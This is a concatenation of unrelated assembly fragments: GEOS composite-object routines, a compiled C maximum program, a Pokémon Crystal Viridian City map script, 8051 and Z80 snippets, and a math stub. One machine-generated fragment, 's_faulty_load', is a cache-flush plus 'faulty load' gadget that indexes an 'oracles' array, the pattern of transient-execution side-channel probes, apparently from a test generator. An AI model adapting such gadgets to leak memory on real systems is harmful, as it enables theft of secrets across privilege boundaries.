mov bx, ss:masterOffset ; and restore master offset
.leave
ret
atEnd:
; restore pointer to composite
andnf bx,not LP_IS_PARENT
mov si,bx ; si = composite
call UnlockDSIfNotDIAndReloadDS
notFound:
stc ;didn't find
jmp short done
FindChildLow endp
COMMENT @----------------------------------------------------------------------
FUNCTION: ObjCompMoveChild
DESCRIPTION: Perform "MSG_MOVE_CHILD" for a composite object
CALLED BY: GLOBAL
PASS:
*ds:si - instance data (of composite)
cx:dx - object to move
bp - flags for how to move child (CompChildOptions)
ax - offset to field of type "LinkPart" in instance data
bx - offset to instance part containing LinkPart and CompPart
di - offset to field of type "CompPart" in instance data
RETURN:
ds - updated to point at segment of same block as on entry
DESTROYED:
ax, bx, di
WARNING: This routine MAY resize LMem and/or object blocks, moving
then on the heap and invalidating stored segment pointers
and current register or stored offsets to them.
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 2/89 Initial version
------------------------------------------------------------------------------@
ObjCompMoveChild proc far
EC < call CheckLMemObject >
; first remove the chunk
push ax, bx, di ;save stuff trashed
EC < push bp ;avoid death in EC stuff >
EC < and bp, mask CCF_MARK_DIRTY >
call ObjCompRemoveChild
EC < pop bp >
pop ax, bx, di
; then insert it in the correct place
GOTO ObjCompAddChild
ObjCompMoveChild endp
COMMENT @----------------------------------------------------------------------
FUNCTION: ObjCompProcessChildren
DESCRIPTION: Process the children of a composite object via a callback
routine or via several predefined callback routines.
The callback routine is called for each child in order, with
all passed registers preserved except BX. The callback routine
returns the carry set to end processing at this point.
CALLED BY: GLOBAL
PASS:
*ds:si - instance data of composite object
bx - offset to MasterPart containing LinkPart and CompPart
di - offset to field of type "CompPart" in instance data
ax, cx, dx, bp - parameters to pass to call back routine
on stack (pushed in this order):
optr - object descriptor of initial child to process or 0
to start at composite's Nth child, where N is stored
in the chunk half of the optr.
word - offset to field of type "LinkPart" in instance data
fptr - virtual address of call back routine (segment pushed
first) or...
if segment = 0 then offset is an ObjCompCallType (below),
ax - message to send to children
cx, dx, bp - parameters to message
ObjCompCallTypes:
OCCT_SAVE_PARAMS_TEST_ABORT - Save cx, dx and bp around the
calling of the child, if carry is set on return from
the call then abort with carry set
OCCT_SAVE_PARAMS_DONT_TEST_ABORT - Save cx, dx and bp around
the calling of the child, don't check carry on return
OCCT_DONT_SAVE_PARAMS_TEST_ABORT - Don't save cx, dx and bp
around the calling of the child, if carry is set on
return from the call then abort with carry set
OCCT_DONT_SAVE_PARAMS_DONT_TEST_ABORT - Don't save cx, dx and
bp around the calling of the child, don't check carry
on return
OCCT_DONT_SAVE_PARAMS_ABORT_AFTER_FIRST - Don't save cx, dx,
and bp around the calling of the child, and abort after
have called one child (usually used with "call nth
child" capability.
OCCT_COUNT_CHILDREN - Counts the number of children along the
specified link. Returns # of children added to DX.
RETURN:
call back routine and method popped off stack
carry - set if call aborted in the middle
ax, cx, dx, di, bp - returned with call back routine's changes
ds - pointing at same block (could have moved)
es - untouched (i.e. it ain't fixed up if it points at a block
that might have moved)
DESTROYED:
di
WARNING: This routine MAY resize LMem and/or object blocks, moving
then on the heap and invalidating stored segment pointers
and current register or stored offsets to them.
CALL BACK ROUTINE:
Desc: Process child
Pass: *ds:si - child
*es:di - composite
ax, cx, dx, bp - data
Return: carry - set to end processing
ax, cx, dx, bp - data to send to next child
Destroy: bx, si, di, ds, es
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 3/89 Initial version
Eric 10/89 Added "start at Nth child" capability
doug 7/90 Changed to patch up ds, es values around
calls to callback routine for each child
------------------------------------------------------------------------------@
ObjCompProcessChildren proc far call \
callBack:fptr, ; Callback routine
linkOffset:word, ; Offset of LinkPart in master group
initialChild:optr ; Child from which to start
uses es
masterPart local word ; Master part of link fields\
push bx ; initialized from BX on entry
EC <lockCount local word ; Initial lock count of composite block>
countdown local word ; countdown to first child to do
composite local word ; chunk of composite
.enter
EC < call CheckLMemObject >
mov composite, si ;save composite chunk handle for loop
;
; setup ^lbx:si to be the first child
;
mov si,ds:[si] ;ds:si = composite object
tst bx
jz 10$
add si,ds:[si][bx] ;ds:si = instance
10$:
add si,di ;ds:si = CompPart
; if EC then save lock count for composite
EC < LoadVarSeg es >
EC < mov bx,ds:[LMBH_handle] >
EC < mov bl, es:[bx].HM_lockCount >
EC < mov lockCount, bx >
segmov es, ds ;es = composite
push ax
mov countdown, 0 ;assume initial child given
mov ax, initialChild.chunk ; so no countdown needed
mov bx, initialChild.handle
tst bx
jnz haveInitial
mov countdown, ax ;wrong. set countdown from
; chunk half of initialChild
; pointer
mov bx, ds:[si].CP_firstChild.handle; and fetch the composite's
mov ax, ds:[si].CP_firstChild.chunk ; first child for the loop
haveInitial:
xchg si, ax ; si <- child chunk (1-b i)
pop ax
tst bx ; (clears carry)
jnz setupCallback ;skip everything if no initial
; child/no child passed
jmp done
setupCallback:
EC < call ECCheckLMemOD >
; fix callback routine if using standard callback type
tst callBack.segment ;call back supplied?
jnz processLoop
mov di, callBack.offset ;get call type
EC < cmp di, ObjCompCallType >
EC < ERROR_AE BAD_OBJ_COMP_CALL_TYPE >
;stuff our call back
mov callBack.segment, vseg ObjCompProcessChildren
mov di,cs:[OCCC_callBackTable][di] ;routine on
mov callBack.offset,di ;the stack
;------------------------------------------------------------
processLoop:
; es = composite block; ^lbx:si = child; ax, cx, dx, bp = data
EC < call ECCheckLMemOD >
;
; Unlock the previous child's block if it's not the same as the
; next child's block or the composite's block.
;
cmp bx,ds:[LMBH_handle] ;same as last child ?
jz childLocked
push bx
mov bx,ds:[LMBH_handle] ;unlock old child if doesn't
cmp bx,es:[LMBH_handle] ;hold composite
jz oldChildUnlocked
call NearUnlock
oldChildUnlocked:
pop bx
segmov ds, es ;assume child is in parent blk
cmp bx,es:[LMBH_handle] ;same as parent ?
jz childLocked
call ObjLockObjBlockToDS
childLocked: ;block is now locked. See if we have reached Nth child yet
EC < call CheckLMemObject >
; But first! get OD of
; NEXT child to do
; & save on stack.
mov di, ds:[si] ;ds:di <- object base
mov bx, masterPart
tst bx
jz 20$
add di, ds:[di][bx] ;point to master group data
20$:
add di, linkOffset ;point to LinkPart
EC < push bx, si >
EC < mov bx, ds:[di].LP_next.handle >
EC < mov si, ds:[di].LP_next.chunk >
EC < tst bx >
EC < ERROR_Z CORRUPT_LINKAGE >
EC < tst si >
EC < ERROR_Z CORRUPT_LINKAGE >
EC < and si, 0fffeh >
EC < call ECCheckLMemOD >
EC < pop bx, si >
push ds:[di].LP_next.handle ;save handle and chunk of next
push ds:[di].LP_next.chunk
dec countdown ;has countdown finished?
jns next ;skip if not... (carry must be clear
; b/c add of linkOffset may not wrap)
; DO IT! Call the callback routine passing parent & child
; objects. Preserve ds & es values around the call, so that the
; routine can be written using same parameter handling rules as
; method handlers.
;
mov di, composite ; *es:di = composite
push ds:[LMBH_handle]
push es:[LMBH_handle] ; Preserve handle of parent block
push bp
;
; We need to see if we were passed a regular fptr, or a
; vfptr. If a vfptr, we need to do "special things" when
; running under the XIP system.
; We need not verify the fptr because we reside in the
; fixed "kcode" segment.
; -- todd 02/17/94
FXIP< cmp {byte}ss:callBack.high+1, 0f0h >
FXIP< ja doProcCall >
lea bx, ss:callBack ; ss:[bx] = callback routine
mov bp, ss:[bp] ; restore passed/returned BP
call {dword}ss:[bx] ;send the thing
FXIP< jmp short restoreBP >
doProcCall::
FXIP< mov ss:[TPD_dataAX], ax >
FXIP< mov ss:[TPD_dataBX], bx >
FXIP< movdw bxax, ss:callBack >
FXIP< mov bp, ss:[bp] >
FXIP< call ProcCallFixedOrMovable >
restoreBP::
mov bx, bp ;preserve returned value
pop bp
mov ss:[bp], bx
LoadVarSeg ds
pop bx ; Get handle of parent block
mov es, ds:[bx].HM_addr ; Fixup address into es
pop bx ; Get handle of child block
mov ds, ds:[bx].HM_addr ; Fixup address into ds
next:
pop si ;Fetch OD of next sibling off stack
pop bx
jc endLoop ;if carry returned set -> done
test si, LP_IS_PARENT ;at end ? (clears carry)
LONG jz processLoop ;if not then loop
; unlock child block if necessary (not in same block as composite)
endLoop:
pushf ;save carry status
mov bx,ds:[LMBH_handle]
cmp bx,es:[LMBH_handle]
jz noUnlock2
call NearUnlock
noUnlock2:
popf
segmov ds, es ;recover composite segment
done:
mov si, composite ;return si untouched
; if EC then make sure that the lock count is still the same
LoadVarSeg es
if ERROR_CHECK
pushf
mov bx,ds:[LMBH_handle]
mov bl, es:[bx].HM_lockCount
cmp bl, {byte}lockCount
ERROR_NZ OBJ_COMP_PROCESS_CHILDREN_LOCK_COUNT_CHANGED
popf
endif
mov bx, masterPart
.leave
ret @ArgSize ;pop off parameters
ObjCompProcessChildren endp
;-----------------------------------------
OCCC_callBackTable label word
word OCCC_save_test
word OCCC_save_no_test
word OCCC_no_save_test
word OCCC_no_save_no_test
word OCCC_no_save_abort_after_first
word OCCC_count_children
;-----------------------------------------
OCCC_callInstanceCommon proc near
uses ax
.enter
call ObjCallInstanceNoLockES
.leave
ret
SwatLabel OCCC_callInstanceCommon_end
OCCC_callInstanceCommon endp
OCCC_save_test proc far
push cx, dx, bp
call OCCC_callInstanceCommon
pop cx, dx, bp
ret
OCCC_save_test endp
OCCC_save_no_test proc far
push cx, dx, bp
call OCCC_callInstanceCommon
pop cx, dx, bp
clc
ret
SwatLabel OCCC_save_no_test_end
OCCC_save_no_test endp
OCCC_no_save_test proc far
call OCCC_callInstanceCommon
ret
OCCC_no_save_test endp
OCCC_no_save_no_test proc far
call OCCC_callInstanceCommon
clc
ret
SwatLabel OCCC_no_save_no_test_end
OCCC_no_save_no_test endp
OCCC_no_save_abort_after_first proc far
call OCCC_callInstanceCommon
stc ;ABORT after calling first child
ret
OCCC_no_save_abort_after_first endp
OCCC_count_children proc far
inc dx ;INC count in dx
clc
ret
OCCC_count_children endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ObjLockObjBlockToDS
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Lock the object block passed in BX and store its segment
in DS
CALLED BY: INTERNAL
PASS: bx = block to lock
RETURN: ds = block segment
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 8/ 3/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ObjLockObjBlockToDS proc near uses ax
.enter
call ObjLockObjBlock
mov ds, ax
.leave
ret
ObjLockObjBlockToDS endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
UnlockDSIfNotDIAndReloadDS
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: A lot like UnlockDSIfNotDI, but reloads DS with [di].HM_addr
CALLED BY: INTERNAL
PASS: ds = segment of object block to check
di = (locked) handle of composite
RETURN: ds = segment of composite
carry clear
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 8/ 3/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
UnlockDSIfNotDIAndReloadDS proc near
.enter
call UnlockDSIfNotDI
jnc done
; restore composite segment to DS
LoadVarSeg ds
mov ds,ds:[di].HM_addr
done:
.leave
ret
UnlockDSIfNotDIAndReloadDS endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
UnlockDSIfNotDI
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Unlock the block pointed to by DS if it's not the block
whose handle is in DI
CALLED BY: INTERNAL
PASS: ds = object block to possibly unlock
di = handle of composite against which to check
ds:[LMBH_handle]
RETURN: carry set if block unlocked
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 8/ 3/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
UnlockDSIfNotDI proc near
.enter
cmp di, ds:[LMBH_handle]
je done
call UnlockDS
stc
done:
.leave
ret
UnlockDSIfNotDI endp
COMMENT @----------------------------------------------------------------------
FUNCTION: UnlockDS
DESCRIPTION: Unlock block pointed to by DS
CALLED BY: INTERNAL
PASS:
ds - block with handle in LMBH_handle
RETURN:
ds - not valid
DESTROYED:
none
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 3/89 Initial version
------------------------------------------------------------------------------@
UnlockDS proc near
push bx
mov bx, ds:[LMBH_handle]
call NearUnlock
pop bx
ret
UnlockDS endp
|
.file "project.c"
.def __main; .scl 2; .type 32; .endef
.section .rdata,"dr"
.LC0:
.ascii "\12Input num1: \0"
.LC1:
.ascii "%d\0"
.LC2:
.ascii "\12Input num2: \0"
.LC3:
.ascii "Maximum = %d\0"
.text
.globl main
.def main; .scl 2; .type 32; .endef
.seh_proc main
main:
pushq %rbp
.seh_pushreg %rbp
movq %rsp, %rbp
.seh_setframe %rbp, 0
subq $48, %rsp
.seh_stackalloc 48
.seh_endprologue
call __main
leaq .LC0(%rip), %rcx
call printf
leaq -4(%rbp), %rax
movq %rax, %rdx
leaq .LC1(%rip), %rcx
call scanf
leaq .LC2(%rip), %rcx
call printf
leaq -8(%rbp), %rax
movq %rax, %rdx
leaq .LC1(%rip), %rcx
call scanf
movl -4(%rbp), %edx
movl -8(%rbp), %eax
cmpl %eax, %edx
jle .L2
movl -4(%rbp), %eax
movl %eax, %edx
leaq .LC3(%rip), %rcx
call printf
jmp .L3
.L2:
movl -8(%rbp), %eax
movl %eax, %edx
leaq .LC3(%rip), %rcx
call printf
.L3:
call getch
movl $0, %eax
addq $48, %rsp
popq %rbp
ret
.seh_endproc
.ident "GCC: (x86_64-posix-seh-rev1, Built by MinGW-W64 project) 6.2.0"
.def printf; .scl 2; .type 32; .endef
.def scanf; .scl 2; .type 32; .endef
.def getch; .scl 2; .type 32; .endef
|
object_const_def ; object_event constants
const VIRIDIANCITY_GRAMPS1_GRUMPY
const VIRIDIANCITY_GRAMPS1_OKAY
const VIRIDIANCITY_GRAMPS2
const VIRIDIANCITY_FISHER
const VIRIDIANCITY_YOUNGSTER
const VIRIDIANCITY_COOLTRAINERF
ViridianCity_MapScripts:
db 3 ; scene scripts
scene_script .DummyScene0 ; SCENE_VIRIDIANCITY_GRAMPS_BLOCK
scene_script .DummyScene1 ; SCENE_VIRIDIANCITY_GYM_LOCKED
scene_script .DummyScene2 ; SCENE_VIRIDIANCITY_NOTHING
db 1 ; callbacks
callback MAPCALLBACK_NEWMAP, .FlyPoint
.FlyPoint:
setflag ENGINE_FLYPOINT_VIRIDIAN
return
.DummyScene0:
.DummyScene1:
.DummyScene2:
end
ViridianCityCoffeeGramps:
faceplayer
opentext
writetext ViridianCity_CoffeeGrampsText1
waitbutton
closetext
end
ViridianCity_GrampsBlockScript:
opentext
writetext ViridianCity_CoffeeGrampsText1
waitbutton
closetext
applymovement PLAYER, ViridianCity_PlayerMovement1
end
ViridianCity_GrampsOkayScript:
opentext
writetext ViridianCity_GrampsOkayText1
waitbutton
closetext
end
ViridianCity_CooltrainerFScript:
checkevent EVENT_VIRIDIAN_GRAMPS_OKAY
iffalse .GrampsOkay
opentext
writetext ViridianCity_CooltrainerFText1
waitbutton
faceplayer
writetext ViridianCity_CooltrainerFText2
waitbutton
closetext
turnobject VIRIDIANCITY_COOLTRAINERF, RIGHT
end
.GrampsOkay:
faceplayer
opentext
writetext ViridianCity_CooltrainerFText3
waitbutton
closetext
end
ViridianCityGrampsNearGym:
faceplayer
opentext
checkevent EVENT_BLUE_IN_CINNABAR
iftrue .LeaderReturned
writetext ViridianCity_GrampsNearGymText1
waitbutton
closetext
end
.LeaderReturned:
writetext ViridianCity_GrampsNearGymText2
waitbutton
closetext
end
ViridianCityDreamEaterFisher:
faceplayer
opentext
checkevent EVENT_GOT_TM42_DREAM_EATER
iftrue .GotDreamEater
writetext ViridianCityDreamEaterFisherText
buttonsound
verbosegiveitem TM_DREAM_EATER
iffalse .NoRoomForDreamEater
setevent EVENT_GOT_TM42_DREAM_EATER
.GotDreamEater:
writetext ViridianCityDreamEaterFisherGotDreamEaterText
waitbutton
.NoRoomForDreamEater:
closetext
end
ViridianCity_GymLockedScript:
turnobject PLAYER, UP
opentext
writetext ViridianCity_GymLockedText
waitbutton
closetext
applymovement PLAYER, ViridianCity_PlayerMovement2
end
ViridianCityYoungsterScript:
jumptextfaceplayer ViridianCityYoungsterText
ViridianCitySign:
jumptext ViridianCitySignText
ViridianGymSign:
jumptext ViridianGymSignText
ViridianCityWelcomeSign:
jumptext ViridianCityWelcomeSignText
TrainerHouseSign:
jumptext TrainerHouseSignText
ViridianCityPokecenterSign:
jumpstd pokecentersign
ViridianCityMartSign:
jumpstd martsign
ViridianCity_CoffeeGrampsText1:
text "Y-You can't go"
line "through here!"
para "This is private"
line "property!"
done
ViridianCity_GrampsOkayText1:
text "Ahh, I've had my"
line "coffee now and I"
cont "feel great!"
para "Sure, you can go"
line "through!"
para "I'm sorry I was"
line "so rude to you!"
done
ViridianCity_CooltrainerFText1:
text "Grampa! Don't"
line "be so mean!"
done
ViridianCity_CooltrainerFText2:
text "I'm sorry. He"
line "hasn't had his"
cont "coffee yet."
done
ViridianCity_CooltrainerFText3:
text "When I go shop in"
line "PEWTER CITY, I"
cont "have to take the"
cont "winding trail in"
cont "VIRIDIAN FOREST."
done
ViridianCity_GrampsNearGymText1:
text "This #MON GYM"
line "is always closed."
para "I wonder who the"
line "LEADER is?"
done
ViridianCity_GrampsNearGymText2:
text "The VIRIDIAN GYM"
line "LEADER has returned!"
done
ViridianCityDreamEaterFisherText:
text "Yawn!"
para "I must have dozed"
line "off in the sun."
para "โฆI had this dream"
line "about a DROWZEE"
para "eating my dream."
line "Weird, huh?"
para "Huh?"
line "What's this?"
para "Where did this TM"
line "come from?"
para "This is spooky!"
line "Here, you can have"
cont "this TM."
done
ViridianCityDreamEaterFisherGotDreamEaterText:
text "TM42 contains"
line "DREAM EATERโฆ"
para "โฆZzzzzโฆ"
done
ViridianCityYoungsterText:
text "CATERPIE has no"
line "poison, but"
cont "WEEDLE does."
para "Watch out for its"
line "POISON STING!"
done
ViridianCitySignText:
text "VIRIDIAN CITY"
para "The Eternally"
line "Green Paradise"
done
ViridianGymSignText:
text "VIRIDIAN CITY"
line "#MON GYM"
cont "LEADER: โฆ"
para "The rest of the"
line "text is illegibleโฆ"
done
ViridianCityWelcomeSignText:
text "WELCOME TO"
line "VIRIDIAN CITY,"
para "THE GATEWAY TO"
line "INDIGO PLATEAU"
done
TrainerHouseSignText:
text "#MON SCHOOL"
done
ViridianCity_GymLockedText:
text "The GYM doors"
line "are lockedโฆ"
done
ViridianCity_PlayerMovement1:
step DOWN
step_end
ViridianCity_PlayerMovement2:
jump_step DOWN
step_end
ViridianCity_MapEvents:
db 0, 0 ; filler
db 5 ; warp events
warp_event 32, 7, VIRIDIAN_GYM, 1
warp_event 21, 9, VIRIDIAN_NICKNAME_SPEECH_HOUSE, 1
warp_event 21, 13, TRAINER_HOUSE_1F, 1
warp_event 29, 19, VIRIDIAN_MART, 2
warp_event 23, 25, VIRIDIAN_POKECENTER_1F, 1
db 2 ; coord events
coord_event 19, 13, SCENE_VIRIDIANCITY_GRAMPS_BLOCK, ViridianCity_GrampsBlockScript ; Gramps won't let you through
coord_event 32, 8, SCENE_VIRIDIANCITY_GYM_LOCKED, ViridianCity_GymLockedScript
db 6 ; bg events
bg_event 17, 17, BGEVENT_READ, ViridianCitySign
bg_event 27, 7, BGEVENT_READ, ViridianGymSign
bg_event 19, 1, BGEVENT_READ, ViridianCityWelcomeSign
bg_event 25, 13, BGEVENT_READ, TrainerHouseSign
bg_event 24, 25, BGEVENT_READ, ViridianCityPokecenterSign
bg_event 30, 19, BGEVENT_READ, ViridianCityMartSign
db 6 ; object events
object_event 18, 6, SPRITE_GRAMPS, SPRITEMOVEDATA_WANDER, 2, 2, -1, -1, 0, OBJECTTYPE_SCRIPT, 0, ObjectEvent, EVENT_VIRIDIAN_GRAMPS_OKAY
object_event 18, 13, SPRITE_GRAMPS, SPRITEMOVEDATA_STANDING_RIGHT, 2, 2, -1, -1, 0, OBJECTTYPE_SCRIPT, 0, ViridianCityCoffeeGramps, EVENT_VIRIDIAN_GRAMPS_GRUMPY
object_event 30, 8, SPRITE_GRAMPS, SPRITEMOVEDATA_STANDING_DOWN, 0, 0, -1, -1, PAL_NPC_BLUE, OBJECTTYPE_SCRIPT, 0, ViridianCityGrampsNearGym, -1
object_event 6, 23, SPRITE_FISHER, SPRITEMOVEDATA_STANDING_DOWN, 0, 0, -1, -1, PAL_NPC_RED, OBJECTTYPE_SCRIPT, 0, ViridianCityDreamEaterFisher, -1
object_event 14, 21, SPRITE_YOUNGSTER, SPRITEMOVEDATA_WANDER, 3, 3, -1, -1, PAL_NPC_GREEN, OBJECTTYPE_SCRIPT, 0, ViridianCityYoungsterScript, -1
object_event 17, 13, SPRITE_COOLTRAINER_F, SPRITEMOVEDATA_STANDING_RIGHT, 0, 0, -1, -1, PAL_NPC_BLUE, OBJECTTYPE_SCRIPT, 0, ViridianCity_CooltrainerFScript, -1
|
.global s_prepare_buffers
s_prepare_buffers:
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %rax
push %rbx
push %rcx
push %rdi
push %rsi
// Store
lea addresses_A+0x754b, %rbx
clflush (%rbx)
nop
nop
nop
cmp %rsi, %rsi
movb $0x51, (%rbx)
nop
nop
and $13118, %r10
// REPMOV
lea addresses_A+0x992b, %rsi
lea addresses_normal+0xb80d, %rdi
nop
nop
nop
xor %rax, %rax
mov $33, %rcx
rep movsq
nop
nop
and $62109, %rax
// Faulty Load
lea addresses_normal+0x1e22b, %rcx
nop
and %rax, %rax
mov (%rcx), %r10w
lea oracles, %rax
and $0xff, %r10
shlq $12, %r10
mov (%rax,%r10,1), %r10
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rax
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 0, 'same': False, 'type': 'addresses_normal'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 2, 'same': False, 'type': 'addresses_A'}, 'OP': 'STOR'}
{'src': {'congruent': 6, 'same': False, 'type': 'addresses_A'}, 'dst': {'congruent': 1, 'same': True, 'type': 'addresses_normal'}, 'OP': 'REPM'}
[Faulty Load]
{'src': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0, 'same': True, 'type': 'addresses_normal'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'34': 21829}
34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34
*/
|
MOV R0, #3 ; R0 <- 3
MOV A, #5 ; A <- 5
ADD A, R0 ; A <- A + R0
|
;
; Philips P2000 pseudo graphics routines
; Version for the 2x3 graphics symbols
;
;
; Written by Stefano Bodrato 2014
;
;
; Reset pixel at (x,y) coordinate.
;
;
; $Id: respixl.asm$
;
INCLUDE "graphics/grafix.inc"
SECTION code_clib
PUBLIC respixel
EXTERN div3
EXTERN __gfx_coords
EXTERN base_graphics
.respixel
ld a,h
cp maxx
ret nc
ld a,l
cp maxy
ret nc ; y0 out of range
inc a
;inc a
ld (__gfx_coords),hl
push bc
ld c,a ; y
ld b,h ; x
push bc
ld hl,div3
ld d,0
ld e,c
inc e
add hl,de
ld a,(hl)
ld c,a ; y/3
srl b ; x/2
ld hl,(base_graphics)
inc hl
ld a,c
ld c,b ; !!
;--- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- ---
and a
ld de,80
sbc hl,de
jr z,r_zero
ld b,a
.r_loop
add hl,de
djnz r_loop
.r_zero ; hl = char address
ld b,a ; keep y/3
;ld d,0
ld e,c
add hl,de
;--- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- ---
ld a,(hl) ; get current symbol from screen
sub 32
ld e,a ; ..and its copy
ex (sp),hl ; save char address <=> restore x,y (y=h, x=l)
ld a,l
inc a
inc a
sub b
sub b
sub b ; we get the remainder of y/3
ld l,a
ld a,1 ; the pixel we want to draw
jr z,iszero
bit 0,l
jr nz,is1
add a,a
add a,a
.is1
add a,a
add a,a
.iszero
bit 0,h
jr z,evenrow
add a,a ; move down the bit
.evenrow
and @11011111 ; Character generator gap
jr nz,nobug
or @01000000 ;
.nobug
cpl
; and @11011111 ; Character generator bug
and e
add 32
pop hl
ld (hl),a
pop bc
ret
|
SECTION code_fp_math32
PUBLIC cm32_sccz80_f32_fam9511
PUBLIC cm32_sccz80_fam9511_f32
